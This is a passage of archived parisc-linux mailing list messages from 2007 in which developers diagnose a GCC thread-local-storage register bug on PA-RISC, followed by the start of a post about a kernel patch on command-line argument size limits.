	<20070502093851.GA26242@farad.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624343 23648 80.91.229.3 (22 Nov 2014 02:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 10:13:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 02 May 2007 12:13:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E30ED7DB3C;
	Wed,  2 May 2007 04:13:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16352-07; Wed, 2 May 2007 04:13:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 700307DB3E;
	Wed,  2 May 2007 04:13:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B4127DB3B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 04:13:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16352-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 04:13:43 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 94C4E7DB3A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 04:13:43 -0600 (MDT)
Original-Received: from farad.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:100c])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@farad.aurel32.net>)
	id 1HjBqA-0000M4-SH; Wed, 02 May 2007 12:13:42 +0200
Original-Received: from aurel32 by farad.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1HjBqA-00073N-I7; Wed, 02 May 2007 12:13:42 +0200
Content-Disposition: inline
In-Reply-To: <20070502093851.GA26242@farad.aurel32.net>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V1YKdQNuPTRtyejGPjIwOvkxc2tpZMtE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24496

On Wed, May 02, 2007 at 11:38:51AM +0200, Aurelien Jarno wrote:
> Please find the reduced testcase below. When the value is assigned to
> __libc_errno, the value of r19 has been overrided by the call to free().
> 

And a smaller one:


extern __thread int __libc_errno __attribute__ ((tls_model ("initial-exec")));
extern void free (void *__ptr) __attribute__ ((__nothrow__));

void test(int *p)
{
  free (p);
  __libc_errno = 25;
}

00000000 <test>:
test():
   0:   6b c2 3f d9     stw rp,-14(sp)
   4:   6f c4 00 80     stw,ma r4,40(sp)
   8:   e8 40 00 00     b,l 10 <test+0x10>,rp
                        8: R_PARISC_PCREL17F    free
   c:   6b d3 3f c1     stw r19,-20(sp)
  10:   2a 60 00 00     addil L%0,r19,r1
                        10: R_PARISC_LTOFF_TP21L        __libc_errno
  14:   48 3c 00 00     ldw 0(r1),ret0
                        14: R_PARISC_LTOFF_TP14R        __libc_errno
  18:   34 15 00 32     ldi 19,r21
  1c:   03 60 08 b4     mfctl tr3,r20
  20:   0b 94 0a 14     add,l r20,ret0,r20
  24:   0e 95 12 80     stw r21,0(r20)
  28:   4b c2 3f 59     ldw -54(sp),rp
  2c:   e8 40 c0 00     bv r0(rp)
  30:   4f c4 3f 81     ldw,mb -40(sp),r4



-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 2 May 2007 11:16:12 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200705021516.l42FGCMT015600__23869.1013576046$1416624343$gmane$org@hiauly1.hia.nrc.ca>
References: <20070502101342.GA27108@farad.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624343 23649 80.91.229.3 (22 Nov 2014 02:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 15:16:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 02 May 2007 17:16:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CC5D7DB50;
	Wed,  2 May 2007 09:16:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19619-06; Wed, 2 May 2007 09:16:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08CAC7DB51;
	Wed,  2 May 2007 09:16:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81AFF7DB4F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 09:16:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19489-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 09:16:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9DD047DB4E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 09:16:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l42FGDUK015601;
	Wed, 2 May 2007 11:16:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l42FGCMT015600;
	Wed, 2 May 2007 11:16:12 -0400 (EDT)
In-Reply-To: <20070502101342.GA27108@farad.aurel32.net> from "Aurelien Jarno"
	at May 2, 2007 12:13:42 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bJkBfgkrYW0+k7uGbmZpbRB0amthcxtc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24497

> On Wed, May 02, 2007 at 11:38:51AM +0200, Aurelien Jarno wrote:
> > Please find the reduced testcase below. When the value is assigned to
> > __libc_errno, the value of r19 has been overrided by the call to free().
> > 
> 
> And a smaller one:
> 
> 
> extern __thread int __libc_errno __attribute__ ((tls_model ("initial-exec")));

This is a bug in __attribute__ ((tls_model ("initial-exec"))).  It
doesn't express that it uses r19.  As a result, GCC is free to optimize
the save and restore of r19 across the call to free away.

The same is true of the asm.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 02 May 2007 17:36:37 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <4638B005.60902__27504.1447174319$1416624344$gmane$org@aurel32.net>
References: <200705021516.l42FGCMT015600@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624344 23654 80.91.229.3 (22 Nov 2014 02:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 15:37:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 02 May 2007 17:37:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3B207DB5D;
	Wed,  2 May 2007 09:36:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19948-06; Wed, 2 May 2007 09:36:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7F137DB10;
	Wed,  2 May 2007 09:36:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 620927DAC6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 09:36:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19948-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 09:36:51 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 7D0557DAB1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 09:36:51 -0600 (MDT)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HjGss-0002Rx-Sz; Wed, 02 May 2007 17:36:50 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070329)
In-Reply-To: <200705021516.l42FGCMT015600@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F4YLcigfTXs9m6yRbmQ5UYRKRzdyMsMj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24498

John David Anglin a crit :
>> On Wed, May 02, 2007 at 11:38:51AM +0200, Aurelien Jarno wrote:
>>> Please find the reduced testcase below. When the value is assigned to
>>> __libc_errno, the value of r19 has been overrided by the call to free().
>>>
>> And a smaller one:
>>
>>
>> extern __thread int __libc_errno __attribute__ ((tls_model ("initial-exec")));
> 
> This is a bug in __attribute__ ((tls_model ("initial-exec"))).  It
> doesn't express that it uses r19.  As a result, GCC is free to optimize
> the save and restore of r19 across the call to free away.
> 
> The same is true of the asm.

What would be the correct way to express that?

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 2 May 2007 13:17:01 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200705021717.l42HH2Mk017727__39060.3173910224$1416624344$gmane$org@hiauly1.hia.nrc.ca>
References: <4638B005.60902@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624344 23656 80.91.229.3 (22 Nov 2014 02:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 17:17:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 02 May 2007 19:17:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F88A7DB5F;
	Wed,  2 May 2007 11:17:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20542-08; Wed, 2 May 2007 11:17:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 608A17DB5B;
	Wed,  2 May 2007 11:17:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2309A7DB58
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 11:17:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20542-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 11:17:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 417C27DB57
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 11:17:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l42HH3Qo017730;
	Wed, 2 May 2007 13:17:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l42HH2Mk017727;
	Wed, 2 May 2007 13:17:02 -0400 (EDT)
In-Reply-To: <4638B005.60902@aurel32.net> from "Aurelien Jarno" at May 2,
	2007 05:36:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kfUBc3waeWU7l7eUfHVzl8A5U3U4N48T
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24499

> > This is a bug in __attribute__ ((tls_model ("initial-exec"))).  It
> > doesn't express that it uses r19.  As a result, GCC is free to optimize
> > the save and restore of r19 across the call to free away.
> > 
> > The same is true of the asm.
> 
> What would be the correct way to express that?

As far as the tls_model attribute goes, I can see that the TLS patterns
in pa.md (e.g., tgd_load) don't express their dependence on r19 and r27.
I think the simplest fix is to use expanders and separate patterns for
pic and non-pic.  This will allow different rtl for the two cases.

Asms that use the pic register need to express that dependence in their
list of input operands.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] memory management issues
Date: Mon, 30 Apr 2007 11:44:21 -0700
Lines: 794
Approved: news@gmane.org
Message-ID: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace__42710.5111805305$1416624344$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_185071_12665247.1177958661717"
X-Trace: ger.gmane.org 1416624344 23659 80.91.229.3 (22 Nov 2014 02:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:44 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2007 18:44:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 30 Apr 2007 20:44:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9A127D86D;
	Mon, 30 Apr 2007 12:44:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17755-08; Mon, 30 Apr 2007 12:44:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F077F7D8B7;
	Mon, 30 Apr 2007 12:44:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26B557D83F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Apr 2007 12:44:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17755-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Apr 2007 12:44:43 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id 7CC9A7D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Apr 2007 12:44:42 -0600 (MDT)
Original-Received: from spaceape14.eur.corp.google.com (spaceape14.eur.corp.google.com
	[172.28.16.148]) by smtp-out.google.com with ESMTP id l3UIibCg024809
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Apr 2007 19:44:37 +0100
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:mime-version:content-type;
	b=NqlRxQm2jmi7DRB2BV2iiiotuQ5TBgzoeuP+qZbbRxmpqzmM8ZiorQ5FyFegFV+nH
	7TtwsnIdAdNlC6kPARVyQ==
Original-Received: from py-out-1112.google.com (pybp76.prod.google.com [10.34.92.76])
	by spaceape14.eur.corp.google.com with ESMTP id l3UIi3QO006827
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Apr 2007 19:44:22 +0100
Original-Received: by py-out-1112.google.com with SMTP id p76so1437996pyb
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Apr 2007 11:44:22 -0700 (PDT)
Original-Received: by 10.35.126.2 with SMTP id d2mr11817536pyn.1177958661787;
	Mon, 30 Apr 2007 11:44:21 -0700 (PDT)
Original-Received: by 10.35.8.3 with HTTP; Mon, 30 Apr 2007 11:44:21 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GQsEdTsmPTRtyejGPjIwUKIxc2tpZMsZ
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24500

------=_Part_185071_12665247.1177958661717
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Peter Zijlstra and I have been working on a patch to remove the
command line argument size limitation imposed by MAX_ARG_PAGES.  Since
parisc requires special handling (The stack grows up.), I've been
trying to test this on an a500.  However, I've been running into
issues.

I'd appreciate it if a parisc memory guru could take a look at the
attached patch against kernel-2.6.18-rc1-pa2 and give me some
pointers.

Here's an overview:

In response to previous attempts to increase the command line
limitation (http://thread.gmane.org/gmane.linux.kernel/418858), Linus
has indicated that any temporary pages should be swappable.  This
patch attempts to solve this problem by creating the new process's
mm_struct early in the do_execve() callchain and writing directly into
the new stack segment (cf. copy_strings()).  When I instrument this on
an a500, I observe that the pages are setup correctly and contain
valid values up until the call to switch_mm() via the call stack:

  activate_mm()
  exec_mmap()
  flush_old_exec()
  load_elf_binary()
  do_execve()

Afterwards, the pages are zeroed.

It has been suggested that this may be related to the parisc
addressing model.  However, I'm mapping pages into kernel memory via
